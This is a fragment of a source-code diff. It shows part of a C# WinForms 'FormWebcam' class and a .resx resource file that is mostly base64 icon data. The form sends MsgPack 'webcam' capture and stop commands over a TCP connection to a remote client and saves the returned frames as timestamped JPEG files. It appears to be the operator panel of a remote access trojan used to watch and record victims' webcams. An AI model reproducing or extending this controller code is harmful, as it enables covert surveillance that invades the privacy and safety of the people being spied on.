if (button1.Tag == (object)"play")
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "webcam";
msgpack.ForcePathObject("Command").AsString = "capture";
msgpack.ForcePathObject("List").AsInteger = comboBox1.SelectedIndex;
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
button1.Tag = (object)"stop";
button1.BackgroundImage = Properties.Resources.stop__1_;
numericUpDown1.Enabled = false;
comboBox1.Enabled = false;
}
else
{
button1.Tag = (object)"play";
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "webcam";
msgpack.ForcePathObject("Command").AsString = "stop";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
button1.BackgroundImage = Properties.Resources.play_button;
btnSave.BackgroundImage = Properties.Resources.save_image;
numericUpDown1.Enabled = true;
comboBox1.Enabled = true;
timerSave.Stop();
}
}
catch { }
}
private void Timer1_Tick(object sender, EventArgs e)
{
try
{
if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close();
}
catch { this.Close(); }
}
private void FormWebcam_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
Client?.Disconnected();
}
catch { }
}
private void BtnSave_Click(object sender, EventArgs e)
{
if (button1.Tag == (object)"stop")
{
if (SaveIt)
{
SaveIt = false;
//timerSave.Stop();
btnSave.BackgroundImage = Properties.Resources.save_image;
}
else
{
btnSave.BackgroundImage = Properties.Resources.save_image2;
try
{
if (!Directory.Exists(FullPath))
Directory.CreateDirectory(FullPath);
Process.Start(FullPath);
}
catch { }
SaveIt = true;
// timerSave.Start();
}
}
}
private void TimerSave_Tick(object sender, EventArgs e)
{
try
{
if (!Directory.Exists(FullPath))
Directory.CreateDirectory(FullPath);
pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", ImageFormat.Jpeg);
}
catch { }
}
}
}

View File

@ -0,0 +1,583 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="timer1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<metadata name="timerSave.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>131, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
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
O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt
2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx
AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx
AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919
AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx
AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff
wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19
ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg
x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt
Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx
AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp
Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919
AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+
/P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19
AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919
AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V
tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919
AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D
DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19
AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19
AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx
AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx
AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA
AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA
AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx
ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx
AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8
AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919
AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919
AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx
AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7
AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv
AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx
Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys
a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918
AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw
AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19
AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx
AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19
AADdfQAZ3X0A2N19AP/dfQD/3XwA/+GLHP/56dP////////+/v/rs2r/3HsA/919AP/dfQD/23wA/8dz
AP/DcQD/w3EA/8JvAP/XoVf//vz6///////47uH/zIcp/8JwAP/DcQD/w3EA/8NxAOnDcQAqw3EAAAAA
AAAAAAAA3X0AAN19ACndfQDo3X0A/919AP/dfQD/3XwA/+69fv////////////bdvf/fhhL/3oAF/96A
Bv/bfwb/yHYG/8R0Bv/EdAX/xncM/+vQrP///////////+bDk//DcQL/w3EA/8NxAP/DcQD/w3EA9MNx
AD7DcQAAAAAAAAAAAADdfQAA3X0APN19APPdfQD/3X0A/919AP/dfAD/45Iq//vw4v///////vr2//be
v//12bX/9dm1//TZtf/v1rX/7ta1/+7Wtf/v2bv//Pjy///////79e3/0JE6/8JvAP/DcQD/w3EA/8Nx
AP/DcQD8w3EAVcNxAAAAAAAAAAAAAN19AADdfQBT3X0A+919AP/dfQD/3X0A/919AP/dfgL/8cmW////
/////////////////////////////////////////////////////////////+vQqv/EdAf/w3EA/8Nx
AP/DcQD/w3EA/8NxAP/DcQBuw3EAAMNxAADdfQAA3X0AAN19AGvdfQD/3X0A/919AP/dfQD/3X0A/917
AP/lmzz//fbu/////////////vr1//337//99/D//Pfw//v28P/8+fT////////////9+vb/1ZxP/8Jv
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAIfDcQAAw3EAAN19AADdfQAA3X0Ahd19AP/dfQD/3X0A/919
AP/dfQD/3X0A/96ACP/01Kz////////////z0KT/5Jcz/+KXNP/SkDT/zowy/+TAjv////////////Db
v//GeQ//w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAocNxAAHDcQAA3X0AAN19AADdfQCf3X0A/919
AP/dfQD/3X0A/919AP/dfQD/3XsA/+ilUP/++/b///////jmzv/ghxj/2nkA/8ZxAP/Fdgz/7ti5////
///+/fz/26ll/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQC4w3EAB8NxAADdfQAA3X0AB919
ALbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfAD/34UQ//ffwP///////v37/+msXP/aegD/xnEA/9KW
RP/8+PL///////Tm0v/Jfxv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAM3DcQARw3EAAN19
AADdfQAQ3X0AzN19AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/6rBm///+/P//////9diy/9yA
Cf/HcwL/58aZ////////////4LZ9/8NwAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA38Nx
AB/DcQAA3X0AAN19AB3dfQDe3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918AP/gihv/+ejS////
///99+7/4pg5/9CHJf/47uH///////ju4f/NiCn/wnAA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
AP/DcQDtw3EAMMNxAADdfQAA3X0ALt19AOzdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918
AP/uvH3////////////txI3/47R2////////////5sOV/8NyAv/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAPfDcQBEw3EAAN19AADdfQBD3X0A9t19AP/dfQD/3X0A/919AP/dfQD/3X0A/919
AP/dfQD/3XwA/+KRKf/78OH///////vx5f/47d7///////v17f/Rkjv/wm8A/8NxAP/DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxAFzDcQAA3X0AAN19AFrdfQD93X0A/919AP/dfQD/3X0A/919
AP/dfQD/3X0A/919AP/dfQD/3X0C//HIlP//////////////////////69Cs/8V1B//DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAdcNxAADdfQAA3X0Ac919AP/dfQD/3X0A/919
AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/5Zo7//327f////////////369v/WnVD/wm8A/8Nx
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQCOw3EAAN19AADdfQCM3X0A/919
AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/egAf/9NSq////////////8NzA/8d5
EP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0AA919
AKbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/917AP/npE7//vr2//7+
/f/bqmb/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAv8Nx
AAzdfQAF3X0Akt19APLdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3XwA/9+E
D//338H/9ejW/8mAG//DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
APXDcQCnw3EAD919AADdfQAM3X0AOt19AIPdfQDL3X0A9d19AP/dfQD/3X0A/919AP/dfQD/3X0A/919
AP/dfQD/3XsA/+uwZf/gtXv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA+MNx
ANLDcQCNw3EAQsNxABDDcQAAAAAAAAAAAADdfQAA3X0AAN19ABLdfQBH3X0Ak919ANbdfQD53X0A/919
AP/dfQD/3X0A/919AP/dfQD/3YQQ/8t9FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD7w3EA3MNx
AJzDcQBQw3EAF8NxAAHDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAC3X0AGt19
AFXdfQCi3X0A4N19APzdfQD/3X0A/919AP/aewD/x3IA/8NxAP/DcQD/w3EA/8NxAP3DcQDmw3EAq8Nx
AF/DcQAgw3EAA8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AADdfQAA3X0AAN19AATdfQAj3X0AY919AK/dfQDn3X0A/dt8AP/HcwD/w3EA/sNxAOvDcQC4w3EAbcNx
ACrDcQAGw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACN19ADXdfQCD2nwA2MhzAN/DcQCPw3EAPcNx
AAzDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/+B///+AH///A
A///AAD//AAAP/AAAA/gAAAH4AAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAABwAAAAYAA
AAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAAAAAAAAAAAACAAAAB8AAAB/wAAD//gAH///AP/ygA
AAAwAAAAYAAAAAEAIAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19
AADdfQAE3n0AP9p8ALrIdADMwnEAU8NxAAnDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AADdfQAA3X0AAd19ACbdfQCM3X0A5tt8AP/IcwD/w3EA8MNxAKHDcQA2w3EAA8NxAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA3X0AAN19AADdfQAa3X0Ad919ANvdfQD+3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQDnw3EAjMNx
ACbDcQABw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAN19AADdfQAA3X0AD919AGDdfQDM3X0A/N19AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8Nx
AP/DcQD/w3EA/sNxANvDcQB2w3EAGcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AAjdfQBL3X0Aud19APjdfQD/3X0A/919AP/dfQD/3X0A/9t8
AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD8w3EAy8NxAF/DcQAPw3EAAMNxAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3X0AON19AKXdfQDy3X0A/919AP/dfQD/3X0A/919
AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPjDcQC4w3EASsNx
AAjDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAd19ACjdfQCP3X0A6d19AP/dfQD/3X0A/919
AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
